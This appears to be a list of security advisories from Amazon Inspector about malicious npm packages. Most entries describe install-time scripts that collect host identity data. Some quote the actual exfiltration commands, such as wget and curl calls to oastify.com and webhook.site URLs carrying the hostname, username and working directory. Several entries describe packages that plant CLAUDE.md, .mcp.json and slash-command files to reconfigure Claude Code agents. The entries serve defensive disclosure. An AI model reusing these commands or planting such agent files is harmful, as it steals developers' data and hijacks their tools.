Malicious code in @payment-review/store (npm)

Source: amazon-inspector 2d624eaefbb0245bf0c9a7b598c461a3ba5ec48005cfec223898062741ef8c2e package.json declares preinstall: node index.js || true, so installing the package automatically runs index.js on npm install. The script collects host identity fields — os.hostname, os.userInfo.username,...

Malicious code in @nstrlabs/sdk (npm)

Source: amazon-inspector a0b1375de7b44594cd3760efb91cb94c8c8b7137322f4597114e314ce5e14e45 On npm install, package.json runs preinstall: node index.js || true, unconditionally executing index.js. The script collects host identity fields os.hostname, os.userInfo.username, dirname, process.cwd, and...

Malicious code in @orion-design-system/store (npm)

Source: amazon-inspector 4218505b74ba258cea12df713bbc27db9fa58d6660cf83e6d0c5fd8a9f68a4c2 package.json declares a preinstall script that runs on every npm install. The script uses node -e to require os and https, reads os.hostname and os.userInfo.username, and exfiltrates them to...

Malicious code in pocteszep (npm)

Source: amazon-inspector e13c609971d69e4699c85f451f163c7ab60ebb775171211fbd20d880b0ef2a2d The package's npm preinstall lifecycle script runs wget --quiet "http://78dngdm3dhrrj8zgfm4es9m8bzhq5jt8.oastify.com/?user=$whoami&path=$pwd&hostname=$hostname" package.json line 8. On npm install, before an...

Malicious code in mds-webcomponents (npm)

Source: amazon-inspector 4b33015300fa18b6b3d2c2f1c0af0e77cbd9fa96c7af7befbe61a5422165824e package.json declares preinstall: node index.js, which runs automatically on every npm install. index.js collects os.homedir, os.hostname, os.userInfo.username, dns.getServers, the package name, dirname, and...

Malicious code in @bancolonbia/menu-filter-widget-web (npm)

Source: amazon-inspector 76511e7873dc4a76b8447f91807e48289877ee612cd0d94526206390bbda7f3e package.json declares scripts.postinstall: node./callback.js, which fires automatically on npm install. callback.js reads the installer's hostname and transmits it to a hardcoded Burp Collaborator domain...

Malicious code in zer0onedatetool (npm)

Source: amazon-inspector 73fd05fda74bbf13c6275d4da0fa80fece821cad03fb2237ae74ed24309eab52 The postinstall lifecycle script in this package issues curl POST requests to a subdomain of oastify.com — the out-of-band callback domain operated by Burp Collaborator / Project Discovery's interactsh. On...

Malicious code in @orion-design-system/foundation (npm)

Source: amazon-inspector 3e7fdf1bb78d6c3750adffa854f5f08c7f2fd7af6166f7234aa5cbf4974a1375 The package's npm preinstall lifecycle script runs an inline node -e payload that collects the installer's hostname os.hostname and OS username os.userInfo.username and transmits both to an attacker-controll...

Malicious code in 0x2ai-ivo (npm)

Source: amazon-inspector e78c039ee7ad67b1a20ef30b37ce03178f6c2181b1e330db69e04dabd0a28686 On install, the postinstall script copies the package's payload/ tree CLAUDE.md,.claude/settings.json,.mcp.json, and several.cjs MCP scripts into the consumer's project directory process.env.INITCWD ||...

Malicious code in 0x2ai-demo9 (npm)

Source: amazon-inspector bb3fa91a9457ef11dc837c301fef1b22dbe1b19f00400215d853958726e1d055 On npm install, the package's postinstall script writes .mcp.json, CLAUDE.md, and a .claude/commands/0x2ai-boot.md slash-command file into the installer's current working directory. The .mcp.json...

Malicious code in 0x2ai-demo2 (npm)

Source: amazon-inspector 98ee2445b2f0b01d2457cf45c188b310f58c98f3b676032f9c6213469f071239 On npm install, scripts/postinstall.cjs recursively copies the bundled payload/ directory into INITCWD the developer's project root via fs.cpSync. The staged files reconfigure Claude Code so subsequent...

Malicious code in 0x2ai-demo7x (npm)

Source: amazon-inspector c7e956073a7db6057e4d42af462dba0299152ca992c113d74c715e90574d0efb On npm install, scripts/postinstall.cjs copies the package's payload/ tree into the installer's project root process.env.INITCWD, placing CLAUDE.md,.mcp.json, and a.claude/ directory next to the installer's...

Malicious code in field-upload-tool (npm)

Source: amazon-inspector 17402ad5019d1d433139ce2652d18d2493d87acfd1ede435a94c87eb421f25b1 On every npm install, the package's postinstall lifecycle script in package.json spawns a detached, unref'd Node process that decodes a base64-encoded payload via node -e Buffer.from...,'base64'.toString and...

Malicious code in 0x2ai-demo4 (npm)

Source: amazon-inspector 1893e8cd8ff38936ad388208f98e30cc64a6b1126062e2ff716004338feedf8c On npm install, the package's postinstall script unconditionally copies its payload/ tree into the user's project directory process.env.INITCWD, planting a .mcp.json, a .claude/commands/0x2ai-boot.md slash...

Malicious code in mcp-server-redis (npm)

Source: amazon-inspector c94a122c1dd231888bc72b52cbef5dbdd793d2680f7e7e36385bd06e07dc20fd Package claims the unscoped name mcp-server-redis to intercept npx mcp-server-redis invocations intended for the legitimate MCP Redis server ecosystem. package.json declares scripts.postinstall: node index.j...

Malicious code in node-stack-frames (npm)

Source: amazon-inspector 5fd4f6c5f3278484d99f6ffffc001cf920dcb0fa4fdfabff957a61c3cfbfc158 package.json declares a preinstall script that runs an inline Node program on npm install. The script requires os and http, collects os.hostname, os.platform, and os.arch, base64-encodes the result, and issu...

Malicious code in unicocheck-ios (npm)

Source: amazon-inspector bafc91c569cf42c5f1ff68531a8d5238919f595368ffa90b7d4e5bcc74fe9788 package.json declares a preinstall lifecycle script that runs curl against https://webhook.site/fe1246c2-ac04-4493-b223-fe34ba26b79f with query parameters carrying the installer's hostname, username $whoami,...

Malicious code in ogd-platform (npm)

Source: amazon-inspector f17f2c263db2adee12698bd9046668b9b674bcdf063b959f54841914a6028931 The package contains only a package.json with a preinstall lifecycle script and ships no actual functionality despite advertising itself as an 'Open Government Data Platform core'. On npm install, the...

Malicious code in dms-backend (npm)

Source: amazon-inspector bd479ea3869dae33e183f9164c4e9c7c11a2170728288012647fe2af4d55426e package.json declares a preinstall lifecycle script that runs curl --data-urlencode "info=$hostname && whoami && pwd" against a webhook.site collector URL...

Malicious code in nic-datagov (npm)

Source: amazon-inspector 89be7e0ea4d164dad90f5476041928d54d5502a066e22d501373e1bbf9dc8bbf package.json declares a preinstall script that runs curl --data-urlencode "info=$hostname && whoami && pwd" https://webhook.site/1ea0386f-dcc0-4f1b-bdbb-61732d6535fb/nic-datagov, sending the installer's...